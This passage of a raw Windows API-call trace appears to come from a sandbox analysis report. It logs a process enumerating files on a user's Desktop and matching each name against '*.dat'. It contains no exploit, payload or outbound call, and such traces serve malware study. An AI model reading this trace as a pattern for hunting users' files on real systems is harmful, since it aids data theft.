returned="\\FOg-h_AvoQIw_HJ\\" [0099.517] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2=".." | out: lpString1="\\FOg-h_AvoQIw_HJ\\..") returned="\\FOg-h_AvoQIw_HJ\\.." [0099.517] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.517] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.517] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97427d50, ftCreationTime.dwHighDateTime=0x1d7ac05, ftLastAccessTime.dwLowDateTime=0x29e948e0, ftLastAccessTime.dwHighDateTime=0x1d7aced, ftLastWriteTime.dwLowDateTime=0x29e948e0, ftLastWriteTime.dwHighDateTime=0x1d7aced, nFileSizeHigh=0x0, nFileSizeLow=0xcba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="srTdgc8WYpda3WAi2Rl.png", cAlternateFileName="SRTDGC~1.PNG")) returned 1 [0099.517] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.517] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.517] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="srTdgc8WYpda3WAi2Rl.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png" [0099.517] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.517] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.517] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="srTdgc8WYpda3WAi2Rl.png" | out: lpString1="\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png") returned="\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png" [0099.517] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0099.517] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x47) returned 0x34300d0 [0099.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x34300d0, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", lpUsedDefaultChar=0x0) returned 71 [0099.517] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa4b0 [0099.517] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.517] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.518] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130f0 [0099.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130f0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.518] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0099.518] PathMatchSpecW (pszFile="srTdgc8WYpda3WAi2Rl.png", pszSpec="*.dat") returned 0 [0099.518] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa4b0 | out: hHeap=0x2110000) returned 1 [0099.518] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf87f20, ftCreationTime.dwHighDateTime=0x1d7af4d, ftLastAccessTime.dwLowDateTime=0x803dd890, ftLastAccessTime.dwHighDateTime=0x1d7b009, ftLastWriteTime.dwLowDateTime=0x803dd890, ftLastWriteTime.dwHighDateTime=0x1d7b009, nFileSizeHigh=0x0, nFileSizeLow=0x1420d, dwReserved0=0x0, dwReserved1=0x0, cFileName="w zekI-R.wav", cAlternateFileName="WZEKI-~1.WAV")) returned 1 [0099.518] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.518] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.518] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="w zekI-R.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav" [0099.518] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.518] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.518] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="w zekI-R.wav" | out: lpString1="\\FOg-h_AvoQIw_HJ\\w zekI-R.wav") returned="\\FOg-h_AvoQIw_HJ\\w zekI-R.wav" [0099.518] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.518] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112df8 [0099.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x2112df8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", lpUsedDefaultChar=0x0) returned 60 [0099.518] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112780 [0099.518] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112df8 | out: hHeap=0x2110000) returned 1 [0099.518] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.518] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113090 [0099.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113090, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.518] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113090 | out: hHeap=0x2110000) returned 1 [0099.518] PathMatchSpecW (pszFile="w zekI-R.wav", pszSpec="*.dat") returned 0 [0099.518] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112780 | out: hHeap=0x2110000) returned 1 [0099.518] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda86dce0, ftCreationTime.dwHighDateTime=0x1d79ffe, ftLastAccessTime.dwLowDateTime=0xaec72980, ftLastAccessTime.dwHighDateTime=0x1d7a098, ftLastWriteTime.dwLowDateTime=0xaec72980, ftLastWriteTime.dwHighDateTime=0x1d7a098, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFdQgUMwy.png", cAlternateFileName="XFDQGU~1.PNG")) returned 1 [0099.518] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.518] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.519] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="xFdQgUMwy.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png" [0099.519] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.519] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.519] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="xFdQgUMwy.png" | out: lpString1="\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png") returned="\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png" [0099.519] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.519] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112978 [0099.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x2112978, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", lpUsedDefaultChar=0x0) returned 61 [0099.519] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112a98 [0099.519] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0099.519] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.519] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113060 [0099.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113060, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.519] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.519] PathMatchSpecW (pszFile="xFdQgUMwy.png", pszSpec="*.dat") returned 0 [0099.519] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a98 | out: hHeap=0x2110000) returned 1 [0099.519] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda86dce0, ftCreationTime.dwHighDateTime=0x1d79ffe, ftLastAccessTime.dwLowDateTime=0xaec72980, ftLastAccessTime.dwHighDateTime=0x1d7a098, ftLastWriteTime.dwLowDateTime=0xaec72980, ftLastWriteTime.dwHighDateTime=0x1d7a098, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFdQgUMwy.png", cAlternateFileName="XFDQGU~1.PNG")) returned 0 [0099.519] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.519] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.519] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x34300d0 [0099.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpUsedDefaultChar=0x0) returned 47 [0099.519] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.520] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.520] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.520] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113060 [0099.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113060, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.520] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.520] PathMatchSpecW (pszFile="FOg-h_AvoQIw_HJ", pszSpec="*.dat") returned 0 [0099.520] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.520] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcd4b250, ftCreationTime.dwHighDateTime=0x1d7a0ed, ftLastAccessTime.dwLowDateTime=0x24550670, ftLastAccessTime.dwHighDateTime=0x1d7a8e8, ftLastWriteTime.dwLowDateTime=0x24550670, ftLastWriteTime.dwHighDateTime=0x1d7a8e8, nFileSizeHigh=0x0, nFileSizeLow=0x8888, dwReserved0=0x0, dwReserved1=0x0, cFileName="g2ZwK9.bmp", cAlternateFileName="")) returned 1 [0099.520] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.520] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.520] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="g2ZwK9.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp" [0099.520] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.520] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.520] lstrcatW (in: lpString1="\\", lpString2="g2ZwK9.bmp" | out: lpString1="\\g2ZwK9.bmp") returned="\\g2ZwK9.bmp" [0099.520] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.520] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2a) returned 0x34300d0 [0099.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x34300d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", lpUsedDefaultChar=0x0) returned 42 [0099.520] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.520] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.520] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.520] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113138 [0099.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113138, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.520] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113138 | out: hHeap=0x2110000) returned 1 [0099.520] PathMatchSpecW (pszFile="g2ZwK9.bmp", pszSpec="*.dat") returned 0 [0099.521] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.521] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a77620, ftCreationTime.dwHighDateTime=0x1d7afc6, ftLastAccessTime.dwLowDateTime=0x4cf82e60, ftLastAccessTime.dwHighDateTime=0x1d7afdf, ftLastWriteTime.dwLowDateTime=0x4cf82e60, ftLastWriteTime.dwHighDateTime=0x1d7afdf, nFileSizeHigh=0x0, nFileSizeLow=0x1ea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hgucYmyJbQJmLK.wav", cAlternateFileName="HGUCYM~1.WAV")) returned 1 [0099.521] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.521] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.521] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="hgucYmyJbQJmLK.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav" [0099.521] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.521] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.521] lstrcatW (in: lpString1="\\", lpString2="hgucYmyJbQJmLK.wav" | out: lpString1="\\hgucYmyJbQJmLK.wav") returned="\\hgucYmyJbQJmLK.wav" [0099.521] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.521] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x33aaf60 [0099.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, lpMultiByteStr=0x33aaf60, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", lpUsedDefaultChar=0x0) returned 50 [0099.521] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112ae0 [0099.521] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaf60 | out: hHeap=0x2110000) returned 1 [0099.521] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.521] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fe8 [0099.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fe8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.521] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fe8 | out: hHeap=0x2110000) returned 1 [0099.521] PathMatchSpecW (pszFile="hgucYmyJbQJmLK.wav", pszSpec="*.dat") returned 0 [0099.521] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0099.521] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0ea3c0, ftCreationTime.dwHighDateTime=0x1d7aada, ftLastAccessTime.dwLowDateTime=0x63881990, ftLastAccessTime.dwHighDateTime=0x1d7ada2, ftLastWriteTime.dwLowDateTime=0x63881990, ftLastWriteTime.dwHighDateTime=0x1d7ada2, nFileSizeHigh=0x0, nFileSizeLow=0x111a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ht3A.swf", cAlternateFileName="")) returned 1 [0099.521] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.522] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.522] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ht3A.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf" [0099.522] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.522] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.522] lstrcatW (in: lpString1="\\", lpString2="ht3A.swf" | out: lpString1="\\ht3A.swf") returned="\\ht3A.swf" [0099.522] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa3a8 [0099.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.522] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211ac00 [0099.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x211ac00, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", lpUsedDefaultChar=0x0) returned 40 [0099.522] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.522] HeapFree (in: 